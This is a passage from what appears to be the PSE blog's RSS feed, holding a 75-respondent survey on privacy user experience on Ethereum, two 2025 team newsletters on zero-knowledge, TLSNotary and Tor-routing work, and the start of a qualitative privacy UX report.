Alex J. Malozemoff, Marc B. Rosen, & Peter Scholl. (2020). Mac'n'Cheese: Zero-Knowledge Proofs for Boolean and Arithmetic Circuits with Nested Disjunctions. Cryptology ePrint Archive. https://eprint.iacr.org/2020/1410]]> client-side proving gpu post-quantum privacy zkp metal webgpu <![CDATA[Measuring the Privacy Experience on Ethereum]]> https://pse.dev/blog/px-user-survey-2025 https://pse.dev/blog/px-user-survey-2025 Thu, 08 Jan 2026 00:00:00 GMT <![CDATA[ This quantitative survey (75 respondents) builds directly on our earlier **qualitative research on privacy experience on Ethereum** ([Link to the qualitative report](https://pse.dev/blog/privacy-experience-report)), which identified seven core themes shaping how users perceive, trust, and adopt privacy tools. This report should be read as a continuation of that work: the survey was designed to **test, validate, and size those qualitative hypotheses** across a broader and more diverse set of experienced Ethereum users. **Key takeaways at a glance:** - **Privacy is non-negotiable, but current solutions fall short.** - Privacy importance is rated **high (3.3 / 4)**, while satisfaction is **low (1.7 / 4)**. - Users are moderately confident today (**2.4 / 4**) but pessimistic about the future (**1.9 / 4**). - **The adoption gap is driven by experience failures, not lack of interest.** - **86%** of respondents have abandoned a privacy flow at least once. - The top blocker is **complexity and usability (58%)**, far outweighing cost or regulation. - **Active privacy tools are widely tried, but rarely habitual.** - Tools requiring manual steps (mixers, stealth addresses, shielded pools) have **~70% reach** but only **~15–17% habitual use**. - Passive or background tools (private mempools, RPCs) reach fewer users but are **significantly stickier**. - **Users strongly prefer privacy by default.** - **73%** prefer systems that are *private by default with an option to share*. - “Missing in my wallet” is a top blocker, pointing to the need for wallet-native privacy. - **Trust depends on verifiability and clarity, not branding.** - The strongest trust signals are **open-source code (61%)**, clear documentation and architecture (~46%), and **transaction previews/simulations (52%)**. - Social proof and marketing rank much lower. - **Trade-offs reveal clear limits.** - Users are willing to trade **time** (69% will wait a few extra minutes) and tolerate limited extra steps. - They resist **higher fees, network switching, and compatibility breaks**, which sharply reduce adoption. - **Confidence does not equal capability.** - Segmentation shows that even highly capable users frequently abandon privacy flows. - The *low confidence / high capability* group exhibits the **highest abandonment (~90%)**, highlighting verification anxiety and mental model gaps as critical issues. The findings reinforce a central conclusion from the qualitative phase: **the gap in privacy adoption is not caused by lack of interest, but by experience failures**. Users overwhelmingly consider privacy *very important*, yet remain dissatisfied with current solutions. Complexity, unclear guarantees, and verification anxiety dominate abandonment, while a strong majority prefer **privacy by default** rather than opt-in flows. --- ## 0. Who This Survey Represents Before interpreting the results, it is important to clarify **who these findings describe**. This survey reflects a highly experienced, technically skewed Ethereum audience: - **Total responses:** 75 - **Ethereum tenure:** 92% have been involved for **3+ years**; 15% for **9+ years** - **Activity level:** ~50% interact with Ethereum daily; another ~30% weekly - **Roles:** Developers, researchers, and security professionals make up over half of respondents This context matters. If privacy tools are frequently abandoned or misunderstood by this group, the usability barrier for less experienced users is likely significantly higher. ## 1. Clarity of Privacy Scope: High Importance, Low Confidence **Quantitative results:** - **Importance of privacy:** **3.3 / 4** (High) - **Satisfaction with current privacy:** **1.7 / 4** (Low, net dissatisfied) - **Confidence in current privacy guarantees:** **2.4 / 4** (Moderate) - **Confidence privacy will remain intact in the future:** **1.9 / 4** (Low) Despite high experience levels, confidence remains limited. Users care deeply about privacy, but do not feel secure that they understand or can rely on existing protections. **Interpretation:** This validates the qualitative finding that privacy tools fail to clearly communicate scope. Users are not rejecting privacy, they are uncertain what they are actually getting. ## 2. Motivation: Privacy as Control, Not Secrecy **Quantitative results (free-text + ranking):** Users consistently frame privacy as: - **Control:** choosing what is revealed, to whom, and when - **Freedom:** a digital extension of fundamental rights - **Security hygiene:** protection against scams, extortion, profiling, and physical risk **Top motivations:** 1. Personal safety & security (~60%) 2. Anti-profiling / identity separation (~55%) 3. Asset and balance protection (~50%) **Top perceived risks:** - Targeted attacks and scams - Loss of funds or access - Surveillance by governments or large platforms **Interpretation:** The survey confirms that privacy demand is principled and pragmatic, not ideological or fringe, aligning directly with qualitative insights. ## 3. Usage: Widely Tried, Rarely Habitual **Quantitative results:** A clear pattern emerges: - **Active tools** (stealth addresses, mixers, shielded pools) have **high reach (≈70%)** but **low habitual use (≈15–17%)** - **Passive or infrastructure tools** (private mempools, RPCs) have lower reach (~50%) but higher daily usage (~23%) | **Tool Category** | **Reach** | **Habit** | **Usage** | | --- | --- | --- | --- | | **Stealth / One-time Addresses** | **73%** (54 users) | 15% (11 users) | Wide but Sporadic | | **Mixers or Privacy Pools** | **70%** (52 users) | 17% (13 users) | Wide but Sporadic | | **Shielded Pools** | **69%** (51 users) | 17% (13 users) | Wide but Sporadic | | **ZK Identity / Proofs** | 68% (50 users) | 16% (12 users) | Wide but Sporadic | | **Private Mempools / MEV** | 68% (50 users) | **23%** (17 users) | Stickier | | **Private Voting** | 59% (44 users) | 9% (7 users) | Sporadic | | **Private L2s / Rollups** | 57% (42 users) | 13% (10 users) | Moderate | | **Private Relayers** | 54% (40 users) | 9% (7 users) | Sporadic | | **Private / Custom RPCs** | 51% (38 users) | **23%** (17 users) | Niche Stickier | ![image.png](/articles/privacy-experience-report/px-usage.png) **Interpretation:** The moment privacy requires users to leave their normal flow, usage drops sharply. Privacy that runs in the background is more likely to stick. ## 4. Technical Friction: Usability Is the Primary Blocker **Quantitative results:** Top blockers: - **Complex or hard to use:** 58% (43 votes) - High gas costs: 32% (24 votes) - Regulatory uncertainty: 31% (23 votes) - Missing in wallet or favorite dapps: 30% (22 votes) Additional signals: - **~86%** of respondents have abandoned a privacy flow at least once - Top reasons: confusion and uncertainty about safety - The most requested feature **with 74% of all users**, is to **have private sends as default** in existing wallets **User quotes** - *"I need a switch in my wallet to turn on private mode."* - *"Unclear what it would do... Unsure the tool was safe."* - *"Native wallet support for stealth addresses... making privacy seamless like HTTPS."* **Interpretation:** This strongly confirms the qualitative finding that privacy UX is fragile. Abandonment is the norm, not the exception. --- ## 5. Trade-offs: Time Is Acceptable, Workflow Breakage Is Not Users are willing to trade **time**, but not **cost or workflow disruption**: - 69% will wait a few minutes longer - 53% accept 2–3 extra screens - Only ~25% accept higher fees or network switching | **Trade-off** | **Votes** | **Percentage** | **Verdict** | | --- | --- | --- | --- | | **Wait up to a few minutes longer** | **47** | **69.1%** | **😍 Highly Acceptable** | | 2–3 extra confirmations or screens | 36 | 52.9% | 🙂 Acceptable | | Using a separate wallet or account | 26 | 38.2% | 😐 Borderline | | Signing multiple transactions | 18 | 26.5% | ☹️ High Friction | | Switching to a different network or L2 | 18 | 26.5% | ☹️ High Friction | | Pay up to ~5% more in fees | 17 | 25.0% | ☹️ High Friction | | Lower compatibility with some dapps | 8 | 11.8% | 😡 Unacceptable | | Withdrawal delays up to 1 day | 8 | 11.8% | 😡 Unacceptable | | Fixed deposit/withdrawal sizes | 6 | 8.8% | 😡 Unacceptable | **Interpretation:** Privacy can be slower, but it must remain affordable and integrated into existing workflows. --- ## 6. Trust & Verification: Don’t Trust, Verify (But Make It Legible) **Quantitative results:** Top trust signals (See appendix 3 for the full table): - Open-source code (61%) - Clear docs and architecture explanations (~46%) - Transaction previews/simulations (52%) Social proof and branding rank significantly lower. | **Top 5 Trust Factors** | **Votes** | **Percentage** | | --- | --- | --- | | **Open-source code** | **45** | **60.8%** | | Clear docs on how it works | 34 | 45.9% | | Transparent architecture | 34 | 45.9% | | Clear explanation of trade-offs | 34 | 45.9% | | Referrals or endorsements from trusted people | 20 | 27.0% | **Interpretation:** Users want verification, but only if it is surfaced in human-readable ways. Trust must be designed into the interface, not outsourced to reputation. --- ## 7. Confidence vs Capability: Why Adoption Fails Even for Experts ![Confidence vs capability in crypto privacy.png](/articles/privacy-experience-report/px-confidence.png) To synthesize multiple themes, we segmented users by **confidence** and **capability**: - **High confidence / High capability (36.5%):** still abandon flows ~70% of the time - **High confidence / Low capability (31.1%):** optimism without practice - **Low confidence / High capability (13.5%):** *highest abandonment (~90%)* and lowest trust - **Low confidence / Low capability (18.9%)** **Interpretation:** Technical skill does not eliminate anxiety. The most capable users are often the most cautious, reinforcing that adoption failure is driven by unclear guarantees and weak mental models, not lack of education. --- ## Synthesis: What Quantative + Qualitative Together Tell Us Across both research phases, the same story repeats: - Privacy demand is high and principled - Satisfaction and confidence are low - Friction and ambiguity dominate behavior - Defaults, previews, and clarity matter more than cryptographic sophistication alone --- ## Actionable Recommendations (Community Invitation) This research points to challenges that cannot be solved by any single team or protocol. We see these recommendations as **invitations to the Ethereum community** (wallet teams, protocol developers, UX designers, researchers, and educators) to collaborate on improving the privacy experience together. 1. **Wallet-native privacy primitives** - Private send / receive as first-class wallet features - Shared UX patterns for privacy presets (e.g., Quick Private, Maximum Privacy) 2. **Standardized privacy scope visualization** - Community-aligned patterns for showing what is hidden, visible, and inferable - Reusable components for transaction privacy previews and confirmations 3. **Confidence-building UX patterns** - Sandbox or test modes for private transactions - Progressive disclosure designs that support anxious power users 4. **Shared trust and verification standards** - Common transparency checklists (open source, architecture, simulations) - Consistent terminology across wallets and dapps 5. **Passive-by-default privacy infrastructure** - MEV protection, private RPCs, and address hygiene as defaults - Tooling that works without requiring behavior changes 6. **Context-aware privacy design** - Prioritize financial and identity-linked actions first - Explore programmable privacy for compliance-friendly use cases We invite builders and researchers to experiment with these directions, share learnings, and help define what “usable privacy” should look like on Ethereum. 1. **Make privacy native:** integrate private sends and protections directly into wallets 2. **Expose privacy scope clearly:** show what is hidden, visible, and inferable 3. **Add previews and confirmations:** reduce verification anxiety 4. **Design for anxious power users:** sandbox modes, progressive disclosure, safe defaults 5. **Standardize trust signals:** consistent transparency across tools 6. **Favor passive protections:** private infrastructure as default 7. **Respect context:** prioritize financial and identity-linked actions --- ## Conclusion This quantitative survey validates, and strengthens our earlier published qualitative findings. Privacy on Ethereum is not failing because users do not care, but because **the experience does not meet the psychological requirements of trust, clarity, and confidence**. Solving privacy adoption is therefore not only a cryptographic challenge, but a **design and UX challenge**. Addressing this gap is the fastest path to making privacy usable, trusted, and ultimately normal on Ethereum. --- ## Appendix ### Qualitative Themes and How We Tested Them Quantitatively | **Theme** | **Hypothesis (based on interview insights)** | **Purpose of Testing It** | | --- | --- | --- | | **1. Clarity of privacy scope** | Users believe they know what’s private on-chain, but in reality, most cannot accurately identify what data is visible or protected. | Measure how well people actually understand privacy boundaries. | | **2. Trust transparency** | Users place more trust in *brands* (e.g., Flashbots, Railgun) than in *verifiable proofs* (e.g., audits or on-chain evidence). | Quantify how trust forms: social vs technical trust. | | **3. Technical friction** | Complex setup and multi-step flows (extra wallets, ENS, signatures) are major barriers, even for technically skilled users. | Assess how much friction affects adoption intent. | | **4. Usability and defaults** | Users assume privacy settings are enabled by default, and rarely change them manually. | Confirm the behavioral gap between assumption and action. | | **5. Verification anxiety** | Lack of clear confirmations or test environments causes users to hesitate or limit fund size in private transactions. | Measure confidence thresholds and safety needs. | | **6. Context-specific motivation** | Privacy priorities depend on context: users care most in financial or identity-linked actions, less in social or governance contexts. | Rank contexts by perceived privacy need. | | **7. Educational & mental model gaps** | Even experienced users struggle to explain how privacy tech (e.g., stealth addresses, shielded pools) actually works. | Measure comprehension and need for educational support. | ### Blockers when using on-chain privacy tools | **Blocker** | **Votes** | **Percentage** | | --- | --- | --- | | **Complex or hard to use** | **43** | **58%** | | High gas or transaction costs | 24 | 32% | | Regulatory or policy uncertainty | 23 | 31% | | Missing in my wallet or favorite dapps | 22 | 30% | | Too few people use it / Privacy feels weak | 20 | 27% | | Hard to verify what is private | 15 | 20% | | Security concerns (e.g. fear of hacks) | 13 | 17% | | Doesn’t work the same across apps or chains | 11 | 15% | | My activity does not feel sensitive enough | 8 | 10% | | I want onchain reputation (airdrops, social graph) | 7 | 9% | | Social stigma or reputation risk | 4 | 5% | | Other | 6 | 8% | ### Trust factors when using on-chain privacy tools | **Trust Factor** | **Votes** | **Percentage** | | --- | --- | --- | | **Open-source code** | **45** | **60.8%** | | Clear docs on how it works | 34 | 45.9% | | Transparent architecture | 34 | 45.9% | | Clear explanation of trade-offs | 34 | 45.9% | | Referrals or endorsements from trusted people | 20 | 27.0% | | Logical in-app UX with info and context | 19 | 25.7% | | Widely used in production and time-tested | 18 | 24.3% | | Strong security practices (bug bounties) | 16 | 21.6% | | Independent audits | 16 | 21.6% | | Clear website/language explaining function | 16 | 21.6% | | Reproducible builds | 14 | 18.9% | | Clear changelogs | 14 | 18.9% | | Verifiable releases and contracts | 14 | 18.9% | | Transparent team identity and track record | 10 | 13.5% | | Verified listings on reputable directories | 1 | 1.4% | ### Open data We are sharing the full, anonymized survey responses so anyone can analyze the results and draw their own conclusions. The CSV includes all questions and raw answers. Feel free to remix, chart, or join with your own data. - [Download the dataset](/articles/privacy-experience-report/px-user-survey-2025-results.csv). ]]> privacy user experience privacy experience <![CDATA[do not pass "Go"]]> https://pse.dev/blog/tlsnotary-do-not-pass-go https://pse.dev/blog/tlsnotary-do-not-pass-go Thu, 01 Jan 2026 00:00:00 GMT <![CDATA[To solve problems at scale, humans design systems which both encapsulate complexity and leverage specialization to achieve efficiency and predictability. This reduces the need for interpersonal trust by replacing it with systemic trust — that is, trusting the behavior of a system and not an individual. Much of societal progress can be attributed to this process of systematization, but much can also be said about the damage that is caused when the goals of these systems become misaligned, or simply when they fail to adapt to new circumstances. The modern world is increasingly characterized by both failure modes.]]> <![CDATA[ # do not pass "Go" To solve problems at scale, humans design systems which both encapsulate complexity and leverage specialization to achieve efficiency and predictability. This reduces the need for interpersonal trust by replacing it with systemic trust — that is, trusting the behavior of a system and not an individual. Much of societal progress can be attributed to this process of systematization, but much can also be said about the damage that is caused when the goals of these systems become misaligned, or simply when they fail to adapt to new circumstances. The modern world is increasingly characterized by both failure modes. Read more at TLSNotary's blog: https://tlsnotary.org/blog/2026/01/01/do-not-pass-go/]]> tlsn <![CDATA[PSE December 2025 Newsletter]]> https://pse.dev/blog/pse-december-2025 https://pse.dev/blog/pse-december-2025 Thu, 18 Dec 2025 00:00:00 GMT <![CDATA[The year is about to end and we'd like to share our last updates this year.]]> <![CDATA[ Welcome to the December edition of the PSE newsletter! The year is about to end and we'd like to share our last updates this year. --- ## 🏗️ Private Writes ### - Plasma{Fold, Blind} We’re happy to share that we’ve finished the WARP implementation and have already run benchmarks to validate performance. Next, we’ll explore how to integrate post-quantum accumulation with private L2s. ### IPTF (Institutional Privacy Task Force) In November, the team attended Devconnect in Buenos Aires. This was a great opportunity to (i) meet protocol teams in the ecosystem (ii) be more public about IPTF with talks and panels (iii) have a mini team-retreat and strategic EF-internal discussions. After Devconnect, most of the team took some time off to recharge. We talked to many institutions over the month, and we also held office hours in Buenos Aires for 15+ protocol teams. We also gave talks and panels at many events: PSE Workshop, Cypherpunk Congress, DeFi Today, [Unchained Podcast](https://www.youtube.com/watch?v=ZarQsQy_czc), Privacy Stack Panel, ZK ID Day, Privacy & Compliance Summit, Privacy Salon, LFDT Privacy Panel, Ethereum Insights Forum. In addition to above, IPTF also spent a lot of time on things like: strategy, meeting with internal stakeholders at EF, cost center budget proposal, hiring. As a result of our presence at Devconnect, we have a much better understanding of where vendor and protocol teams in the ecosystem are at in terms of meeting institutional privacy needs. By hosting office hours and showing them the work we do, they have a much better understanding of what the IPTF is and how we can help. By creating tight feedback loops (e.g. through the privacy market map), we are in a better position to ensure the ecosystem solves institutional blockers. ### Private Transfers The Private Transfers team started work in October and has been researching the ecosystem since then. We have been reaching out to teams to understand different approaches and the problems they are facing, so we can decide how best to allocate resources. We spoke to lots of teams at devconnect and have continued those conversations with additional teams since then. Our north star goal is to increase the number of asset transfers that happen on Ethereum privately. We are aiming to publish our 6 month roadmap by the end of January. We are currently exploring L2 changes for private transfers, zkWormholes, and ERC20 token transfers as potential roadmap items. --- ## 🪢 Private Proving ### iO - We appeared on the ZK Podcast, where we talked about our team’s story and the progress of our research toward practical iO. - We hosted Obfuscation Day, an obfuscation-focused event, at Devconnect in Buenos Aires. We explained why iO is essential to make Ethereum scalable for confidential smart contracts, and we presented our roadmap toward practical iO. ### Mopro We successfully delivered a talk and hosted a hands-on workshop at DevConnect. It was exciting to see a growing number of teams showing strong interest in — and actively building — ZK mobile applications. At zkID Day, we also demonstrated an important capability on Android: proof generation can run entirely in the background. Even if the app is closed, the proving process continues, and users receive a notification once the proof is ready. This significantly improves the user experience and can be applied to any proving system. ### TLSNotary - **alpha.14 nearly ready** (1 ticket left): sans-IO, keccak256 commitments, performance improvements, better config validation, bugfixes - Ongoing work on **selective disclosure gadgets** and discussing a fast client-side proving **zkVM** for selective disclosure - **Browser extension** component close to MVP + demo is ready deployment - Continued progress on **plugin-based SDK** using the **WASM component model** - DevConnect - [Videos online](https://www.youtube.com/playlist?list=PL_mbTxtri1CwCZ6CaelJY_gVvSAh9jp68) (recommended:“zkTLS fundamentals”) - Demo: [https://devconnect.tlsnotary.org](https://devconnect.tlsnotary.org/) ### zkID Standards The zkID team attended Devconnect in Buenos Aires and successfully organized the zkID and Client-Side Proving Day, presenting work on Privacy in Digital ID, Revocation, and zkPDF. The OpenAC whitepaper was released publicly and announced, with ongoing efforts to collect and address feedback. ### Client-Side Proving November was driven by the broader push to get the project Devconnect-ready, so most changes were about tightening the client-side proving benchmark correctness/coverage and making runs dependable on dedicated hardware. On the benchmark side, we expanded ECDSA coverage to ProveKit, Barretenberg, and RISC Zero, alongside follow-up fixes to ensure curve choices and benchmark properties were correct. We also filled in missing reported properties across several systems (so outputs are consistent), and made those properties required so results don’t silently omit fields. We implemented detailed log/profiler output parsing to automatically extract constraint counts for non-Rust systems, rather than relying on manually maintained numbers. Operationally, we set up a dedicated bare-metal AWS machine and installed a self-hosted GitHub Actions runner. To make it reliable, we removed workflow dependencies on shell init files (like ~/.bashrc), improved manual triggering/collection, and fixed CMake/native build caching so caches are separated per runner type and don’t restore stale absolute paths from the GitHub runner. We have presented the benchmarking results at the **zkID and Client-Side Proving day** at Devconnect. You can explore the results at the new section of the EthProofs page: https://ethproofs.org/csp-benchmarks ### Privacy Experience Over the past months, Privacy Experience team has focused on strengthening the privacy ecosystem through community-building, research, and strategic alignment. We hosted seven events before and during Devconnect, including Preconnect and multiple privacy-focused days, bringing together builders, researchers, and projects to showcase PSE’s work, deepen collaboration, and advance conversations around privacy infrastructure. In parallel, we completed our privacy experience research, combining qualitative interviews and survey data to assess the current state of privacy tools. Building on these efforts, we are now pivoting toward the Private Reads track and launching a new Privacy Acceleration team to support wallets, RPCs, indexers, and explorers in integrating privacy features starting with Tor-based solutions. Meanwhile, we will continue to explore more tangible outputs to improve privacy user experience across Web3. ]]> newsletter <![CDATA[PSE November 2025 Newsletter]]> https://pse.dev/blog/pse-november-2025 https://pse.dev/blog/pse-november-2025 Thu, 11 Dec 2025 00:00:00 GMT <![CDATA[A roundup of what PSE teams have been up to and looking ahead to Devconnect]]> <![CDATA[ Welcome to the November edition of the PSE newsletter! Here’s what our teams have been up to: --- ## 🏗️ Private Writes ### Plasma{Fold/Blind} We have been working on the construction and implementation of PlasmaBlind, a scalable, cheap and private transaction L2 using client-side proving. Our design relies solely on folding based uniform IVC, which is cheaper than non-uniform PCD, thereby minimizing the cost of privacy. Progress has also been made in the prototype implementation of WARP, a post-quantum folding scheme based on code theory. We finished the implementation of provers and verifiers and are now benchmarking and optimizing our code. This will enable efficient, private, and post-quantum aggregation on L2. ### IPTF (Institutional Privacy Task Force) We anonymized our [privacy map](https://github.com/ethereum/iptf-map) in order to make it [open](https://x.com/oskarth/status/1976547751208067342) to the public. We also enhanced it significantly from the original MVP; we now have documented approaches that targets specific use cases, written for different personas (business, technical, legal). This includes things like private broadcasting, private bonds, payments, trade settlement, and more. We welcome contributions from external parties, and have received 5+ PRs from external people already. In October we also prepared a brief and and held a well-received workshop for a major financial institution to convince them to build on Ethereum. We'll keep doing these deep dives with select institutions, with the goal of providing actionable insights for the ecosystem on blockers, as well as guide them on how to best achieve privacy on Ethereum. We have also talked to many institutions, vendors and ecosystem players. ### Private Governance Lately, we have been working on a report for the State of Private Voting 2026. We are expecting to deliver this report before mid-November, and will also present the work at Devconnect. The report dives into the details of existing private voting protocols, and analyses them against a set of technical criteria. At the same time, we have been supporting the Gitcoin Grants 24 round - helping run the voting process by managing tallying and coordinating the overall flow. The results are public now and the funds will be distributed shortly. We’ve also been collaborating on a private voting delegation initiative alongside Modulo Labs. We plan on releasing a private delegation PoC by the end of the year. --- ## 🪢 Private Proving ### iO Our paper that proposes lookup table evaluation over key-homomorphic encodings becomes available at https://eprint.iacr.org/2025/1870. However, the benchmarks show that further improvements are necessary to make iO practical. We are writing new papers about combination of iO and Ethereum along with remaining bottlenecks toward practical iO. ### Mopro We recently wrapped up the React Native bindings for mopro, which now make it possible to run zero-knowledge proof generation smoothly on both iOS and Android. Using the `uniffi-bindgen-react-native` tool, we were able to eliminate hundreds of lines of manual glue code—making the integration process much cleaner and more maintainable for developers working with Circom, Halo2, and Noir backends. In parallel, we’ve also completed cross-platform `Semaphore` bindings across Swift, Kotlin, Flutter, and React Native, enabling seamless interoperability for identity and privacy-preserving apps. We've been exploring client-side GPU directions that could become the foundation for accelerating not just ZK, but any programmable cryptography - focusing on SIMT optimizations for core primitives and hybrid CPU+GPU strategies. Alongside this, we’ve continued integrating Noir into our stack, updating prebuilt binaries and working with collaborators to make Noir circuits more practical and performant on mobile devices. ### TLSNotary We delivered our alpha.13 release this month, bringing a cleaner API, BLAKE3 commitments, and performance improvements across the board. We’re also focused on making TLSNotary easier to integrate, including a full sans-IO refactor to cleanly separate protocol logic from transport. In parallel, the WASM component–based SDK and browser extension continue to progress well. We’re now gearing up for Devconnect, where we’ll be running zkTLS Day and showcasing a fully interactive zkTLS demo. ### zkID Standards We wrapped up the revocation report with benchmarks and gathered feedback from several teams. On zkID, we improved the witness generator, cutting proving time by 30% and advancing the paper. For zkPDF, we folded SHA-256 circuits in NeutronNova and benchmarked R1CS Circuits size for 10kb sha circuits. Next, we'll refine the revocation report and present it at zkID and Client-Side Proving Day, finalize the zkPDF write-up for Devconnect, and release the zkID paper, proof of concept, and mobile demo that we'll also present at zkID and Client-Side Proving Day. ### Client-Side Proving In October, we expanded and standardized SHA‑256 benchmarking across proving systems and zkVMs. We introduced new suites for Circom, Noir, Nexus, and Cairo‑M. [All planned proving systems for the Q3 report](https://docs.google.com/spreadsheets/d/1LFG-icfQf4-3YoxoR4GPdkcbAmD01mLPhiM3x4ufmnU/edit?usp=sharing) now have SHA-256 coverage, and we are ready to add ECDSA benchmarks! We froze all dependencies as of the end of Q3 in preparation for the final benchmark runs. We improved reliability by tightening CI to collect results only after workflows finish, fail fast on collection issues, and automatically publish comprehensive results on PR merge to EthProofs - be the first to see the deployment preview [here](https://deploy-preview-524--ethproofs.netlify.app/csp-benchmarks)! We now report execution cycles (for zkVMs), the number of circuit constraints, and various other proving system properties. ### Privacy Experience Devconnect preparations in full swing with several initiatives and events that we're collaborating or supporting with, zkID & client-side proving, zkTLS, research days, Ethereum Privacy stack, a community hub and several others. We will also present the initial draft of our Privacy UX report there. Looking forward to see you all in Argentina! --- ## 🧪 Private Reads - Started 30+ collaboration groups with various projects inside and outside the Ethereum ecosystem, with **activated** collabs including: **`Tor Project`**, **`Lunascape browser`**, **`dRPC`**, **`Hinkal wallet`**, **`Envio indexer`**, **`cp0x decentralized frontends`**, **`Metri wallet`**, **`EF Stateless`**, **`Blockscout explorer`**, **`Acurast TEE`**. - [Driving adoption](https://igor53627.github.io/tor-ethereum-ecosystem) of onion routing in the Ethereum ecosystem through internal implementations and external collabs: RPC providers, client nodes, wallets, indexers, [decentralized] frontends, load balancers, and SDKs - **dRPC collab**: [the first](https://drpc.org/docs/tor) infrastructure RPC provider to expose onion services into their [NodeCore load balancer](https://github.com/drpcorg/nodecore/blob/main/docs/nodecore/07-tor-setup.md) -**without API key, and with support for [uptream Tor services](https://github.com/drpcorg/nodecore/blob/main/docs/nodecore/05-upstream-config.md#tor-onion-upstreams)** such that .onion addresses are accessible from within their infra - Collab agreement with Tor Project team: technical support for our [onionization efforts](https://hackmd.io/@alizk/H1ibTt70xx) in 4Q25 1Q26, embedded [Arti](https://tpo.pages.torproject.net/core/arti/) mid-term (1H26) in browser environment - Hinkal collab: completed integration of Tor routing of transactions from Hinkal wallet to .onion RPC node - Blockscout collab: the [explorer](https://eth.blockscout.com/) is now accessible via [.onion address](http://jcevta2iwkmce7dkytj2hbhr3qm7eidnbqkotpe2jfx7ldp45dyaehad.onion/) - Design for proving UBT-based state of L1 and kicked off collaboration with Geth/Ziren on provable UBT<>MPT equivalence. Intended for indexers and light clients: smaller UBT roots are advantageous for db-size-sensitive PIR and bandwidth/overhead-sensitive light clients - [Geth/Reth instances behind .onion service](https://github.com/CPerezz/torpc/pull/2#issuecomment-3491141977), handling `eth_sendRawTx` originating locally (forward to Tor network) or received from behind .onion service (forward to ethp2p), building to Torpc by Carlos - Spun up and [Nodejs-tested](https://voltrevo.github.io/tor-hazae41/) Snowflake Tor proxy instance for websocket-based access to Tor from wallets/frontends - Integrate Echalot Tor lib into Viem.js, with Metri wallet being the first willing adopter - [Investi](https://hackmd.io/@alizk/BJwFha2agl)gated [PIR](https://hackmd.io/@keewoolee/Skvu0BDRle) (private information retrieval) schemes and began early experimentation - Contributed to Kohaku on [Helios](https://github.com/ethereum/kohaku-commons/pull/19) and provided support and follow-up on [TEE-ORAM](https://hackmd.io/@tkmct/BywaGeY2le) integration]]> newsletter <![CDATA[Why Users Don't Use Privacy (Yet): Insights from On-Chain Privacy Experience]]> https://pse.dev/blog/privacy-experience-report https://pse.dev/blog/privacy-experience-report Tue, 02 Dec 2025 00:00:00 GMT <![CDATA[ ## Purpose of the Research Despite growing awareness of on-chain privacy, adoption of privacy tools remains low. Many users say they care about privacy but invest little effort in it, often finding existing tools too complex or opaque. This research explored how users with different technical backgrounds and privacy needs experience emerging privacy-focused products. Our **hypothesis** was that privacy UX needs differ by both user profile and use case, and that a one-size-fits-all approach limits adoption. We sought to map user journeys, uncover pain points, and identify both design opportunities and technical challenges to improve the overall experience. ## **Key Findings and Pain Points** Through qualitative interviews, we identified recurring themes across all tools tested: 1. **Unclear Privacy Boundaries:** Users misunderstood what was actually private and when. Many assumed "shielded" meant fully anonymous. 2. **Trust Without Proof:** Users relied on project reputation rather than verifiable evidence; they wanted on-chain or third-party proof of trustworthiness. 3. **Overly Technical Setup:** Both technical and non-technical users found setup flows cognitively heavy and error-prone, often requiring advanced steps (ENS, RPCs, manual deployment). 4. **Unsafe Defaults and Feedback Gaps:** Privacy options were hidden or defaulted to public. Users wanted visible privacy indicators and persistent confirmations. 5. **Verification Anxiety:** Fear of irreversible actions made users hesitant to use or test privacy tools with real funds. 6. **Context-Specific Privacy Motivation:** Users desired privacy for specific scenarios (e.g., voting, large transfers) rather than universally. 7. **Educational Gaps:** Even advanced users struggled with the concepts (stealth addresses, relayers, shielded votes), highlighting the need for layered, human-readable explanations. 8. **Desired Qualities:** Transparency, control, safety nets (test modes), and project longevity consistently built confidence. ## **Overall Conclusion** Users don't reject privacy, they reject _invisible, unverified, or cognitively heavy privacy_. To expand adoption, privacy tools must evolve from "power-user cryptography" to _trustable, testable, and human-centered infrastructure._ ## **Acknowledgements** This study would not have been possible without the pioneering work of the privacy projects we examined: [Fluidkey](https://www.fluidkey.com/), [Railgun](https://railgun.org/), [Privacy Pools](https://privacypools.com/), [Flashbots](https://www.flashbots.net/), and [Shutter (Shielded Voting DAO)](https://www.shutter.network/shielded-voting). These projects represent the forefront of privacy innovation in the Ethereum ecosystem. Our intention is not to critique, but to learn from the leaders who are already shaping the future of private, verifiable, and user-respecting blockchain experiences. We are deeply grateful for their ongoing efforts to make privacy usable and accessible for all. --- ## Methodology We conducted **five one-on-one qualitative interviews** to explore how users interact with different privacy-focused on-chain tools and to understand their perceptions, challenges, and motivations around using them. Each participant was assigned **one privacy product** (either MEV Protection (Flashbots), Shielded Voting DAO, Privacy Pools, Fluidkey, or Railgun) along with a **specific usage task** (e.g., _create an account and deposit funds_). Participants were asked to **think aloud** as they completed the task, while the interviewer observed and probed to clarify their reasoning, expectations, and emotional responses. Following the task, participants reflected on their **overall experience**, discussing what felt intuitive or confusing, what built or reduced trust, and whether they would consider using the tool again and under what circumstances. ## Thematic affinity mapping 1. _Grouping similar sentiments like "Confusing trust boundary" or "Fear of revealing info unknowingly"_ 2. _Color coding for which product each feedback came from so that you can see patterns across categories_ ### **Pattern 1: Confusion Around What's Actually Private** _Behavior: Users frequently misunderstood what data or actions were protected versus exposed._ - Many assumed "shielded" meant _full anonymity_, only to discover that votes or transactions were private _temporarily_ or _partially_. - Participants were unsure when privacy applied. E.g., whether frontends, relayers, or RPCs could still leak information. **Quotes & Evidence:** > "I thought shielded would mean my vote would always be private… weird that I had to hover to see details." ![Snapshot UI](/articles/privacy-experience-report/snapshot-UI1.webp) Snapshot UI > "There are so many leaks if I'm using Alchemy… what is the point?" ![Privacy Pool Github](/articles/privacy-experience-report/Privacy-Pool-Github_1.webp) Privacy Pools Github **Design implication:** → Tools need **explicit, contextual privacy indicators** (e.g., _"Your address is hidden until reveal phase"_) and **plain-language explanations** of privacy boundaries. ### **Pattern 2: Lack of Trust Transparency** _Behavior: Trust decisions were driven by brand reputation, not by verifiable or visible assurances._ - Users "trusted" Flashbots or Railgun because they'd heard of them, not because the interface provided proof. - Even technically advanced users questioned how much custody or data the service retained. **Quotes:** > "I trusted Shutter because the personal risk is low and I've heard of them, not because the UI proved anything." > "I've heard of Railgun before, so I'd trust it a little bit more" > "If the last release was three months ago and not many stars, I don't feel confident." ![Railgun Github](/articles/privacy-experience-report/Railgun-Github_1.webp) Railgun Github > "Only you and Fluidkey can see all your transactions… Fluidkey team? Operator? What does that mean?" ![Fluidkey UI](/articles/privacy-experience-report/Fluidkey-UI_1.webp) Fluidkey UI **Design implication:** → Build **visible trust cues** (audits, social proof, age of 